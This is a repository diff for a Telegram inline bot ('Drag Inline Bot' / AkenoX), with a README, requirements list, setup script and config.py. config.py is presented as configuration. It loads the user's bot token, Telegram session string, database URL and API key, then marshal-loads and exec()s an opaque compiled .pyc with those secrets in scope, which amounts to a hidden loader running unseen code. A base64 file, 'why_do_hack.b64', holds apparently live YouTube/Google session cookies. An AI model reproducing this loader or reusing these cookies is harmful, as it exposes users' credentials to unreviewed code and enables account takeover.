| 6 |
+
sdk: docker
|
| 7 |
+
pinned: false
|
| 8 |
+
license: mit
|
| 9 |
+
short_description: A powerful Telegram inline bot with drag functionality
|
| 10 |
+
---
|
| 11 |
+
|
| 12 |
+
# Drag Inline Bot
|
| 13 |
+
|
| 14 |
+
A feature-rich Telegram inline bot built with Python that provides various utilities and interactive features.
|
| 15 |
+
|
| 16 |
+
## Features
|
| 17 |
+
|
| 18 |
+
- **Inline Query Support**: Search and interact through inline queries
|
| 19 |
+
- **Admin Tools**: Comprehensive admin functionality
|
| 20 |
+
- **File Handling**: Upload and process various file types
|
| 21 |
+
- **AI Integration**: Built-in AI capabilities
|
| 22 |
+
- **Multi-language Support**: Translation and localization features
|
| 23 |
+
- **Database Integration**: SQLite and MongoDB support
|
| 24 |
+
- **Media Processing**: Image and video processing capabilities
|
| 25 |
+
|
| 26 |
+
## Setup
|
| 27 |
+
|
| 28 |
+
### Environment Variables
|
| 29 |
+
|
| 30 |
+
You need to set the following environment variables:
|
| 31 |
+
|
| 32 |
+
- `API_ID`: Your Telegram API ID
|
| 33 |
+
- `API_HASH`: Your Telegram API Hash
|
| 34 |
+
- `BOT_TOKEN`: Your Telegram Bot Token
|
| 35 |
+
- `SESSION_STRING`: Your Telegram session string
|
| 36 |
+
- `MONGO_URL`: MongoDB connection string
|
| 37 |
+
- `LOG_CHANNEL`: Channel ID for logging
|
| 38 |
+
- `AKENO_KEY`: API key for additional services
|
| 39 |
+
|
| 40 |
+
### Installation
|
| 41 |
+
|
| 42 |
+
1. Clone this repository
|
| 43 |
+
2. Install dependencies: `pip install -r requirements.txt`
|
| 44 |
+
3. Set up your environment variables
|
| 45 |
+
4. Run the bot: `python -m AkenoX`
|
| 46 |
+
|
| 47 |
+
## Usage
|
| 48 |
+
|
| 49 |
+
The bot provides various inline commands and features. Use `@your_bot_username` in any chat to access inline functionality.
|
| 50 |
+
|
| 51 |
+
## Docker
|
| 52 |
+
|
| 53 |
+
This project includes Docker support for easy deployment:
|
| 54 |
+
|
| 55 |
+
```bash
|
| 56 |
+
docker build -t drag-inline-bot .
|
| 57 |
+
docker run -d --name drag-inline-bot \
|
| 58 |
+
-e API_ID=your_api_id \
|
| 59 |
+
-e API_HASH=your_api_hash \
|
| 60 |
+
-e BOT_TOKEN=your_bot_token \
|
| 61 |
+
-e SESSION_STRING=your_session_string \
|
| 62 |
+
-e MONGO_URL=your_mongo_url \
|
| 63 |
+
-e LOG_CHANNEL=your_log_channel \
|
| 64 |
+
-e AKENO_KEY=your_akeno_key \
|
| 65 |
+
drag-inline-bot
|
| 66 |
+
```
|
| 67 |
+
|
| 68 |
+
## License
|
| 69 |
+
|
| 70 |
+
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
| 71 |
+
|
| 72 |
+
## Contributing
|
| 73 |
+
|
| 74 |
+
Please read [CONTRIBUTING.md](CONTRIBUTING.md) for details on our code of conduct and the process for submitting pull requests.
|
| 75 |
+
|
| 76 |
+
## Support
|
| 77 |
+
|
| 78 |
+
For support, please contact the development team or open an issue on the repository.
|
compiler/nothing
ADDED
|
File without changes
|
config.py
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import base64
|
| 2 |
+
import hashlib
|
| 3 |
+
import marshal
|
| 4 |
+
import os
|
| 5 |
+
import sys
|
| 6 |
+
from os import getenv
|
| 7 |
+
|
| 8 |
+
import requests
|
| 9 |
+
from box import Box
|
| 10 |
+
from dotenv import load_dotenv
|
| 11 |
+
|
| 12 |
+
load_dotenv()
|
| 13 |
+
api_id = getenv("API_ID", 0)
|
| 14 |
+
api_hash = getenv("API_HASH", "")
|
| 15 |
+
bot_token = getenv("BOT_TOKEN", "")
|
| 16 |
+
session = getenv("SESSION_STRING", "")
|
| 17 |
+
mongo_url = getenv("MONGO_URL", "")
|
| 18 |
+
log_channel = getenv("LOG_CHANNEL", 0)
|
| 19 |
+
api_key = getenv("AKENO_KEY", "")
|
| 20 |
+
# Please Don't edit this Damaged
|
| 21 |
+
|
| 22 |
+
def loaded_cache(file_open=None):
|
| 23 |
+
with open(file_open, "rb") as f:
|
| 24 |
+
compiled_code = marshal.load(f)
|
| 25 |
+
return compiled_code
|
| 26 |
+
|
| 27 |
+
developer_hash = "https://t.me/xtdevs"
|
| 28 |
+
modules_hashes = requests.get(
|
| 29 |
+
"https://raw.githubusercontent.com/TeamKillerX/akenoai-lib/refs/heads/main/developer_hash.txt"
|
| 30 |
+
).text.splitlines()
|
| 31 |
+
|
| 32 |
+
file_path = "compiler/helper_checking.pyc"
|
| 33 |
+
expected_hash = "ee160d596a2fcfd04b16da02a29f61381073ca3e9d4d7d865541677f00081c77"
|
| 34 |
+
|
| 35 |
+
def calculate_file_hash(file_path):
|
| 36 |
+
sha256 = hashlib.sha256()
|
| 37 |
+
with open(file_path, "rb") as f:
|
| 38 |
+
while chunk := f.read(8192):
|
| 39 |
+
sha256.update(chunk)
|
| 40 |
+
return sha256.hexdigest()
|
| 41 |
+
|
| 42 |
+
calculated_hash = calculate_file_hash(file_path)
|
| 43 |
+
if calculated_hash == expected_hash:
|
| 44 |
+
version = sys.version.split(" ")
|
| 45 |
+
if version[0] == "3.11.11":
|
| 46 |
+
run_code = loaded_cache(file_open=file_path)
|
| 47 |
+
exec(run_code, globals())
|
| 48 |
+
else:
|
| 49 |
+
print(f"Not supported python version {version[0]}")
|
| 50 |
+
sys.exit(1)
|
| 51 |
+
else:
|
| 52 |
+
print(f"Hash verification failed.")
|
| 53 |
+
sys.exit(1)
|
requirements.txt
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
kurigram
|
| 2 |
+
akenoai[fast]
|
| 3 |
+
orjson
|
| 4 |
+
aiofiles
|
| 5 |
+
aiohttp
|
| 6 |
+
future
|
| 7 |
+
gTTS
|
| 8 |
+
googletrans
|
| 9 |
+
bs4
|
| 10 |
+
pandas
|
| 11 |
+
pytz
|
| 12 |
+
requests
|
| 13 |
+
psycopg2-binary
|
| 14 |
+
TgCrypto
|
| 15 |
+
pyromod==1.1.0
|
| 16 |
+
ffmpeg-python
|
| 17 |
+
pymongo
|
| 18 |
+
Flask
|
| 19 |
+
gpytranslate
|
| 20 |
+
Telethon==1.24.0
|
| 21 |
+
cryptg
|
| 22 |
+
typing
|
| 23 |
+
Python-IO
|
| 24 |
+
Pillow==9.5.0
|
| 25 |
+
urllib3
|
| 26 |
+
motor
|
| 27 |
+
SQLAlchemy==1.3.23
|
| 28 |
+
opencv-python-headless
|
| 29 |
+
opencv-python
|
| 30 |
+
prettytable
|
| 31 |
+
svglib
|
| 32 |
+
reportlab
|
| 33 |
+
uwuify
|
| 34 |
+
python-dotenv
|
| 35 |
+
humanize
|
| 36 |
+
googlesearch-python==1.0.1
|
| 37 |
+
gitpython
|
| 38 |
+
pymediainfo
|
| 39 |
+
prettytable
|
| 40 |
+
httpx[http2]
|
| 41 |
+
speedtest-cli
|
| 42 |
+
numpy
|
| 43 |
+
validators
|
| 44 |
+
emoji
|
| 45 |
+
youtube_search_python
|
| 46 |
+
youtube_search
|
| 47 |
+
rich
|
| 48 |
+
yt-dlp
|
| 49 |
+
wget
|
| 50 |
+
hachoir
|
| 51 |
+
pykeyboard
|
| 52 |
+
python-arq
|
| 53 |
+
search-engine-parser
|
| 54 |
+
uvloop
|
| 55 |
+
youtube_dl
|
| 56 |
+
feedparser
|
| 57 |
+
fuzzysearch
|
| 58 |
+
img2pdf
|
| 59 |
+
pytube
|
| 60 |
+
pytz
|
| 61 |
+
psutil
|
| 62 |
+
google-search-results
|
| 63 |
+
typing-extensions
|
| 64 |
+
pydantic
|
| 65 |
+
aiocache
|
| 66 |
+
aiogram
|
| 67 |
+
aiosqlite
|
| 68 |
+
apscheduler
|
| 69 |
+
arrow
|
| 70 |
+
GitPython
|
| 71 |
+
qrcode
|
| 72 |
+
pygments
|
| 73 |
+
environs
|
| 74 |
+
google-generativeai
|
| 75 |
+
curl_cffi
|
| 76 |
+
nodriver
|
| 77 |
+
cohere
|
| 78 |
+
python-box
|
| 79 |
+
meval
|
| 80 |
+
Cython
|
start.sh
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/bin/sh
|
| 2 |
+
|
| 3 |
+
echo "Updating packages and installing Docker..."
|
| 4 |
+
sudo apt update && sudo apt -y install docker.io
|
| 5 |
+
|
| 6 |
+
echo "Building Docker image..."
|
| 7 |
+
docker build -t akenox-inline ~/akenox-inline/
|
| 8 |
+
|
| 9 |
+
echo "Removing existing container..."
|
| 10 |
+
docker rm -f akenox-inline
|
| 11 |
+
|
| 12 |
+
echo "Running Docker container..."
|
| 13 |
+
echo "Send your API ID: "
|
| 14 |
+
read API_ID
|
| 15 |
+
echo "Send your API HASH: "
|
| 16 |
+
read API_HASH
|
| 17 |
+
echo "Send your BOT TOKEN: "
|
| 18 |
+
read BOT_TOKEN
|
| 19 |
+
echo "Send your SESSION STRING: "
|
| 20 |
+
read SESSION_STRING
|
| 21 |
+
echo "Send your MONGO URL: "
|
| 22 |
+
read MONGO_URL
|
| 23 |
+
echo "Send your LOG CHANNEL: "
|
| 24 |
+
read LOG_CHANNEL
|
| 25 |
+
|
| 26 |
+
docker run -d --name akenox-inline \
|
| 27 |
+
-e "API_ID=$API_ID" \
|
| 28 |
+
-e "API_HASH=$API_HASH" \
|
| 29 |
+
-e "BOT_TOKEN=$BOT_TOKEN" \
|
| 30 |
+
-e "SESSION_STRING=$SESSION_STRING" \
|
| 31 |
+
-e "MONGO_URL=$MONGO_URL" \
|
| 32 |
+
-e "LOG_CHANNEL=$LOG_CHANNEL" \
|
| 33 |
+
akenox-inline
|
| 34 |
+
|
| 35 |
+
echo "Viewing logs..."
|
| 36 |
+
docker logs -f akenox-inline
|
why_do_hack.b64
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
IyBOZXRzY2FwZSBIVFRQIENvb2tpZSBGaWxlCiMgVGhpcyBpcyBhIGdlbmVyYXRlZCBmaWxlISBEbyBub3QgZWRpdC4KCi55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzI0MTU1NjMyCUdQUwkxCi55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzU4NzEzOTk1CVBSRUYJZjY9NDAwMDAwMDAmdHo9QXNpYS5KYWthcnRhCi55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzU4NzEzOTM1CUhTSUQJQTNoMWNEblZLVUNrTGdYbmkKLnlvdXR1YmUuY29tCVRSVUUJLwlUUlVFCTE3NTg3MTM5MzUJU1NJRAlBTXBOcG5lNVN5MV9mVWlJcgoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1ODcxMzkzNQlBUElTSUQJdUJ5SUJ1WlZCM2x4RHlpVS9BVkJGSV8tTGNtVERqLWtfSgoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1ODcxMzkzNQlTQVBJU0lECXVDTjhCaXB0RGctZ19oNF8vQVFKMUJ6clg0b1BQSDk1U3YKLnlvdXR1YmUuY29tCVRSVUUJLwlUUlVFCTE3NTg3MTM5MzUJX19TZWN1cmUtMVBBUElTSUQJdUNOOEJpcHREZy1nX2g0Xy9BUUoxQnpyWDRvUFBIOTVTdgoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1ODcxMzkzNQlfX1NlY3VyZS0zUEFQSVNJRAl1Q044QmlwdERnLWdfaDRfL0FRSjFCenJYNG9QUEg5NVN2Ci55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzU4NzEzOTM1CVNJRAlnLmEwMDBuQWlMNkdkSzU2QU10Q3dVNlE3eVNNZ0pUc0t6d2Z0eXd2R3podVdZOWVVRU1WMWt5Vkc0bWM5bDVLcTR1TGVKNkZmbUNRQUNnWUtBY2tTQVJJU0ZRSEdYMk1pVWNZNGhzMlgtZkJBNkFDa1RHNVUyUm9WQVVGOHlLcDd6TnJWbi1BNWNyYUtON0NOWklPdTAwNzYKLnlvdXR1YmUuY29tCVRSVUUJLwlUUlVFCTE3NTg3MTM5MzUJX19TZWN1cmUtMVBTSUQJZy5hMDAwbkFpTDZHZEs1NkFNdEN3VTZRN3lTTWdKVHNLendmdHl3dkd6aHVXWTllVUVNVjFrU05LZ2pEM1c1YlNNNHdwV2t0S3REd0FDZ1lLQWI4U0FSSVNGUUhHWDJNaWZpLU8wN0ZSQXJ6NURHNmdUVmhLaWhvVkFVRjh5S3AtbkRwazhQdFhoVTZxM2M2QUY1RkEwMDc2Ci55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzU4NzEzOTM1CV9fU2VjdXJlLTNQU0lECWcuYTAwMG5BaUw2R2RLNTZBTXRDd1U2UTd5U01nSlRzS3p3ZnR5d3ZHemh1V1k5ZVVFTVYxa3gxT19kTXVac2h1WFNXbGN0WkVldlFBQ2dZS0FjVVNBUklTRlFIR1gyTWkwV2V6NWJPMnVuSDV1eV9LYjhpYXFCb1ZBVUY4eUtxUUxUOVZlVnhvXzk2UXYyLUNIaHJRMDA3NgoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1NTY4OTkzNQlfX1NlY3VyZS0xUFNJRFRTCXNpZHRzLUNqRUJVRkdvaHdBenNHOHZ4UlpRTC03MTcwRnNtQ0kteE9EX3hUUVpfcGhZdFFmYkc0MGVyd25XeThSdXF6d0RRLWcwRUFBCi55b3V0dWJlLmNvbQlUUlVFCS8JVFJVRQkxNzU1Njg5OTM1CV9fU2VjdXJlLTNQU0lEVFMJc2lkdHMtQ2pFQlVGR29od0F6c0c4dnhSWlFMLTcxNzBGc21DSS14T0RfeFRRWl9waFl0UWZiRzQwZXJ3bld5OFJ1cXp3RFEtZzBFQUEKLnlvdXR1YmUuY29tCVRSVUUJLwlUUlVFCTE3NTg3MTM5MzUJTE9HSU5fSU5GTwlBRm1tRjJzd1JBSWdNSGtpdVBmcmdOYTY2U1QyaThFWjNyd0ZDRVRCLVYwSnZYWlA5dl8wcTRjQ0lIdWFOOUhtZmlVSENHTHBtMUpEUzlpT0htQWt4NGh1MXd2NHIxUENESVF6OlFVUTNNak5tZWpSR2J6RnFORm81VlVwVVdUYzNSV3N0TVhwWlEzSTBibUoxZFdodFpXRTNNUzAyTW5KSFVrWnRabFZ4Ym1GM1VURkVZM052Y0ZKUVFUSlZXa2MyZWtwWWIzbEdUWGczWTJsemNqVlpPRmd5ZFdsdFgxWktPV1ZsT0ZoeGRIQjNkbEZTTVdOeFVYZHJTM05IVUU1eVZtVTNkemhGWmxSbWFGTTFMVlpxZFZkaldXZElRVWxHVVVwTExXWm5URk5WVEZrNE4ySmxTRGx0VG10bgoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1NTY5MDAxMwlTSURDQwlBS0V5WHpVSmtzOXhPT0VSTVNDY2dEV1pCZ0kwZmpneGszYTk2RFV5UzRic0JvNjk1dmpQREx3YjhKOG1tZGk0c2tCOTd1dlJyQQoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1NTY5MDAxMwlfX1NlY3VyZS0xUFNJRENDCUFLRXlYelVVaFVvNDJpd2M2ZWp0Uk1hZjlhTWRfZjVkQVAxQWwydWRzMGV0bGctM2FRcjZ3YmlJRTg2ejZqZ2ZKOFZlb3o3VAoueW91dHViZS5jb20JVFJVRQkvCVRSVUUJMTc1NTY5MDAxMwlfX1NlY3VyZS0zUFNJRENDCUFLRXlYelZ4SUFFN0tpc1h1MWU3Z3MtaWlKSDNrZjhNdEtRbkJycXpmamVUYXdTODJwUndKVlBkaHlXMkZySDFzeHIyaEx1WAo=
|